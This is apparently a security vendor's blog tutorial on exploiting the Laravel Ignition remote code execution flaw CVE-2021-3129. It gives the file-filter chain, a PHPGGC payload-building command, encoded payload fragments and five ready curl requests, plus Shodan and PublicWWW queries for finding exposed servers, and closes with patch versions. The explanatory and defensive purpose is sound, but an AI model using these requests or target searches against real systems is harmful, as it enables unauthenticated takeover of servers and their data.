Security research

How to exploit a Remote Code Execution vulnerability in Laravel (CVE-2021-3129)

Updated at
Article tags

I discovered this vulnerability for the first time in the Horizontal machine from Hack The Box, and the conditions in which it’s triggered pushed me to understand it in more detail. 

CVE-2021-3129 reminds me of a log poisoning vulnerability but with a different flavour. 

The most challenging part was to create a flow for this security flaw and integrate it into our auto-exploiter tool, because it requires a PHP serializable code injection.

Let’s dive into more details and see how you can exploit this critical vulnerability in Laravel with! 

What is CVE-2021-3129?

CVE-2021-3129 is a Remote Code Execution vulnerability in the Laravel framework which takes advantage of unsafe usage of PHP. This vulnerability and the steps to exploit it follow a similar path to a classic log poisoning attack.

In typical log poisoning, the attacker needs to exploit a local file inclusion first in order to achieve remote code execution, while in the Laravel framework, we need the Ignition module (Ignition is a page for displaying an error) and a specific chain to trigger this vulnerability.

This security issue is relatively easy to exploit and does not require user authentication which is one of the reasons why it has a 9.8 CVSSv3 score.

How the Laravel RCE (CVE-2021-3129) works

In order to exploit Laravel RCE (CVE-2021-3129), first we seek to understand how filegetcontents() and fileputcontents() work. 

These two functions simply read and write the contents of a file. But how could these functions be malicious for this command? 

In Laravel ignition mode, we have a class named MakeViewVariableOptionalSolution which invokes both functions to be triggered by sending a POST request to /_ignition/execute-solution. It does this using a JSON payload which includes a viewFile parameter

The action of reading and writing a file doesn’t give us more insights, but PHP allows us to use filters like php://filter/write=convert.base64-decode/resource=path/to/a/specific/file , and phar:///path/to/specific/file to modify and execute PHP serializable code . 

However, this is not enough to trigger RCE. Default Laravel has the log file in storage/logs/laravel.log which includes every PHP error. Writing malicious content with the purpose of decoding and executing it won’t work at first, because PHP ignores bad characters when decoding base64, so the error won’t be written in the Laravel log file. 

Moreover, the log file has more entries that affect our payload. Hopefully, we can invoke php:// again to clear the log file and have only our payload executed and injected twice. But we need one more step. 

The length of the final payload in the log file is different from one target to another because of the absolute path, which could result in bad decoding of the base64 payload. 

One of the last methods I tried to trigger the RCE is to use base64 decode for UTF-16, which aligns the payload for 2 bytes. In this case, the first payload is correctly decoded, thus the second one will be decoded correctly too. 

To sum it all up, you can exploit this vulnerability in 5 steps:

1. Clear logs by sending a payload such as:

data[“parameters”][“viewFile”]  = “php://filter/write=convert.iconv.utf-8.utf-16le|convert.quoted-printable-encode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log”

2. Send 2 bytes to align the contents of the log file

data[“parameters”][“viewFile”]  = any 2 bytes dummy

3. Create a serializable object using PHPGGC:

“php -d ‘phar.readonly=0’ phpggc/phpggc laravel/rce3 system command –phar phar -o php://output | base64 -w0 | python -c “import sys;print(”.join([‘=’ + hex(ord(i))[2:].zfill(2) + ‘=00’ for i in]).upper())” and save the payload into a file and command. It’s the Linux command you want to execute.

The payload should look like this:


And send the payload via a post request:

data["parameters"]["viewFile"] = “=50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=58=00=31=00=39=00=49=00=51=00=55=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42=00=4A=00=54=00=45=00=56=00=53=00=4B=00=43=00=6B=00=37=00=49=00=44=00=38=00=2B=00=44=00=51=00=70=00=4E=00=41=00=51=00=41=00=41=00=41=00=67=00=41=00=41=00=41=00=42=...”

4. Use a PHP filter to decode the payload:

data["parameters"]["viewFile"] = “php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log”

5. Trigger the RCE

data["parameters"]["viewFile"] = “phar://../storage/logs/laravel.log”

Vulnerable Laravel versions

According to NIST, this vulnerability impacts all versions with Laravel framework before 8.4.2 and Ignition mode before 2.5.2.

The business impact of CVE-2021-3129

When successfully exploited, this vulnerability allows an unauthenticated attacker to obtain control of the target, compromise all services and databases that Laravel uses, and expose the entire infrastructure.

How to find targets vulnerable to CVE-2021-3129

Using Shodan

Using the Shodan search engine with the filter http.html:Laravel will reveal more potential targets for motivated attackers:

query search with Shodan

At the time of writing this article, Shodan indicated at least 92,575 potentially vulnerable servers.

Using PublicWWW

PublicWWW is a search engine you can use to track websites based on source code content, response headers, cookies, and technology used. You can use the cookie laravel_session to find targets potentially vulnerable to CVE-2021-3129:

query search with PublicWWWOnce you’ve found your targets, it’s time to validate which of them are actually exploitable, so you can deliver a thorough pentest report that helps effectively prioritize remediation.

Once you’ve found your targets, it’s time to validate which of them are actually exploitable, so you can deliver a thorough pentest report that helps effectively prioritize remediation.

How to manually detect CVE-2021-3129 in ethical hacking engagements

Before sending the requests, we need to craft our payload using PHPGGC.

In the previous section, I showed a command to craft a payload like this: 

“php -d 'phar.readonly=0' phpggc/phpggc laravel/rce3 system command --phar phar -o php://output | base64 -w0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:].zfill(2) + '=00' for i in]).upper())”.

To do that, we need at least the PHP CLI package installed and PHPGGC on our machine. Of course, this is not the only payload available. We could use a different payload from Laravel gadgets from RCE1 to 7. After crafting our payload, we can send the following chain of requests to trigger the RCE.

To exploit CVE-2021-3129, you need to send a chain of POST requests in order to achieve RCE:

curl -XPOST -H 'Content-Type: application/json'  -d ‘{"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": {"variableName": "test", "viewFile": "php://filter/write=convert.iconv.utf-8.utf-16le|convert.quoted-printable-encode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"}, }’  http(s)://<Target_ip>:<port>/_ignition/execute-solution
curl -XPOST -H 'Content-Type: application/json'  -d ‘{"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": {"variableName": "test", "viewFile": "AA"}, }’  http(s)://<Target_ip>:<port>/_ignition/execute-solution
curl -XPOST -H 'Content-Type: application/json'  -d ‘{"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": {"variableName": "test", "viewFile": "=50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=58=00=31=00=39=00=49=00=51=00=55=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42=00=4A=00=54=00=45=00=56=00=53=00=4B=00=43=00=6B=00=37=00=49=00=44=00=38=00=2B=00=44=00=51=00=70=00=4E=00=41=00=51=00=41=00=41=00=41=00=67=00=41=00=41=00=41=00=42=..."}, }’  http(s)://<Target_ip>:<port>/_ignition/execute-solution
curl -XPOST -H 'Content-Type: application/json'  -d ‘{"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": {"variableName": "test", "viewFile": "php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"}, }’  http(s)://<Target_ip>:<port>/_ignition/execute-solution
curl -XPOST -H 'Content-Type: application/json'  -d ‘{"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": {"variableName": "test", "viewFile": "phar://../storage/logs/laravel.log"}, }’  http(s)://<Target_ip>:<port>/_ignition/execute-solution

And the output of the command should be available in the last response received from the target.

If you want to try a faster exploitation method, you can use 

How to mitigate CVE-2021-3129

The most cautious thing to do is to be proactive and apply the available patches in your environment, upgrading the Ignition mode to version 2.5.2 and the Laravel framework to 8.4.2.

Product Build

Fixed Version

Product Build

Fixed Version

Laravel 8.4.1 and all versions before


Ignition 2.5.1 and all versions before 


One of the questions our customers ask is how we can help them quickly detect and exploit critical vulnerabilities like this one, which seems to emerge at an unprecedented rate.

Through our hands-on pentesting guides, we focus on sharing our replicable processes, helpful methods, or tips you can use to expand your knowledge and ethical hacking skills. And help others too!

Rely on us to keep you informed when we integrate new detection and exploitation modules on the platform you can use right away!  Practical, helpful pentesting guides straight to your inbox!

Get vulnerability research & write-ups

In your inbox. (No fluff. Actionable stuff only.)

Related articles

Suggested articles

Discover our ethical hacking toolkit and all the free tools you can use!

Create free account


© 2013-2024 has a LinkedIn account it's very active on

Join over 45,000 security specialists to discuss career challenges, get pentesting guides and tips, and learn from your peers. Follow us on LinkedIn! has a YouTube account where you can find tutorials and useful videos

Expert pentesters share their best tips on our Youtube channel. Subscribe to get practical penetration testing tutorials and demos to build your own PoCs!

G2 award badge recognized as a Leader in G2’s Spring 2023 Grid® Report for Penetration Testing Software. Discover why security and IT pros worldwide use the platform to streamline their penetration and security testing workflow.

OWASP logo is a Corporate Member of OWASP (The Open Web Application Security Project). We share their mission to use, strengthen, and advocate for secure coding standards into every piece of software we develop.